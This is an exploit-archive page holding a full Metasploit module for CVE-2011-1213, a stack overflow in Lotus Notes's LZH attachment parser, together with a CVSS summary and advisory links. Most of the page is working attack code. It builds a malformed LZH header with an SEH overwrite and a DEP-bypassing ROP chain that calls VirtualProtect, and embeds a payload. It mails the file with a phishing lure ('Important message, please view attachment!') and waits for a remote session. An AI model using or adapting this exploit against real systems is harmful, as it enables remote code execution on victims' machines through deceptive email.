Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh attachment)

2011.06.30
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-189


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # $Id: lotusnotes_lzh.rb 13015 2011-06-23 15:43:54Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # needs client interaction and permanent listener # # This module sends email messages via smtp # include Msf::Exploit::Remote::SMTPDeliver include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview(.lzh attachment)', 'Description' => %q{ This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when parsing a malformed, specially crafted LZH file. This vulnerability was discovered binaryhouse.net }, 'License' => MSF_LICENSE, 'Author' => [ 'binaryhouse.net', # original discovery 'alino <<a id="__cf_email__" href="http://cloudflare.com/email-protection.html" class="b78581d6dbded9d8f7d0dad6dedb99d4d8da">[emailprotected]</a><script type="text/javascript"> /* <![CDATA[ */ (function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})(); /* ]]> */ </script>>', # Metasploit module ], 'Version' => '$Revision: 13015 $', 'References' => [ ['CVE', '2011-1213'], ['OSVDB', '72706'], ['BID', '48018'], ['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'], ['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'], ], 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Platform' => ['win'], 'Targets' => [ [ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal', { 'Offset' => 6741, 'Ret' => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll } ], [ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP', { 'Offset' => 6745, 'Ret' => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll } ], ], 'DisclosureDate' => 'May 24 2011', 'DefaultTarget' => 0)) register_options( [ # # Email options # OptString.new('FILENAME', [false, 'Sets the attachment file name', 'data.lzh']), OptString.new('MESSAGE', [false, 'Email message text', 'Important message, please view attachment!']) ], self.class) register_advanced_options( [ OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]), OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0]) ], self.class) end def exploit header = "\x08" # Size of archived file header <-- 8 - 13 = FFFFFFF6 header << "\x1a" # 1 byte Header checksum header << "-lh0-" # Method ID (No compression) header << "\x7c\x1a\x00\x00" # Compressed file size header << "\x7c\x1a\x00\x00" # Uncompressed file size header << "\xB2\x5e\xab\x3c" # Original file date/time header << "\x20" # File attribute header << "\x00" # Level identifier header << "\x07" # File name length header << "poc.txt" # File name header << "\x25\x7d" # 16 bit CRC of the uncompressed file lzh = header lzh << rand_text(target['Offset']) if (target == targets[0]) lzh << generate_seh_record(target.ret) lzh << make_nops(8) lzh << payload.encoded elsif (target == targets[1]) rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll rop_gadgets = [ 0x60524404, # POP EAX; RETN nnotes.dll 0x7c37a140, # VirtualProtect() 0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll 0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll 0x60620001, # POP EBP; RETN nnotes.dll 0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll 0x7c34280f, # POP EBX; RETN MSVCR71.dll 0x00001954, # dwSize 0x780ea001, # POP ECX; RETN MSVCP60.dll 0x7c38b000, # lpflOldProtect 0x60e73200, # POP EDI; RETN nnotes.dll 0x60e73201, # RETN nnotes.dll 0x601d5f02, # POP EDX; RETN nnotes.dll 0x00000040, # flNewProtect 0x60524404, # POP EAX; RETN nnotes.dll 0x90909090, # NOP 0x60820801, # PUSHAD; RETN nnotes.dll ].pack("V*") lzh << [target.ret].pack('V') lzh[32, rop_nop.length] = rop_nop lzh[220, rop_gadgets.length] = rop_gadgets lzh[289, payload.encoded.length] = payload.encoded end name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10)+1) + ".lzh" data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32)+1) msg = Rex::MIME::Message.new msg.mime_defaults msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline") msg.add_part_attachment(lzh, name) send_message(msg.to_s) print_status("Waiting for a payload session (backgrounding)...") if not datastore['ExitOnSession'] and not job_id raise RuntimeError, "Setting ExitOnSession to false requires running as a job (exploit -j)" end stime = Time.now.to_f print_status "Starting the payload handler..." while(true) break if session_created? and datastore['ExitOnSession'] break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) ) select(nil,nil,nil,1) end end end

References:

http://xforce.iss.net/xforce/xfdb/67620
http://www.securityfocus.com/bid/47962
http://www.ibm.com/support/docview.wss?uid=swg21500034
http://secunia.com/advisories/44624
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904


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